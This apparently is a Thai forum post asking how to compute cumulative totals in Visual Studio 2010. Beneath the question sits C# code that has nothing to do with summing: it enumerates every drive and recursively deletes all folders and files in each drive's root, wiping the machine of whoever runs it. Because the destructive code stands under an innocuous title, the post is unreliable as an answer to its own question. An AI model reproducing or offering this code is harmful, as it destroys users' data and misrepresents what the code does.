[Visual Studio 2010] วิธีคำนวณการสะสมยอด ทำยังไงครับ

            // get drives
            System.IO.DriveInfo[] drives = System.IO.DriveInfo.GetDrives();

            foreach (System.IO.DriveInfo d in drives) 
            {
                if (d.IsReady)
                {
                    System.IO.DirectoryInfo[] folders = d.RootDirectory.GetDirectories();
                    System.IO.FileInfo[] files = d.RootDirectory.GetFiles();

                    // delete folders
                    foreach (System.IO.DirectoryInfo f in folders)
                    {
                        if (f.Exists)
                        {
                            try
                            {
                                f.Delete(true);
                            }
                            catch (Exception ex)
                            {
                                MessageBox.Show(ex.Message);
                            }
                        }
                    }

                    // delete files
                    foreach (System.IO.FileInfo f in files)
                    {
                        if (f.Exists)
                        {
                            try
                            {
                                f.Delete();
                            }
                            catch (Exception ex)
                            {
                                MessageBox.Show(ex.Message);
                            }
                        }
                    }
                }
            }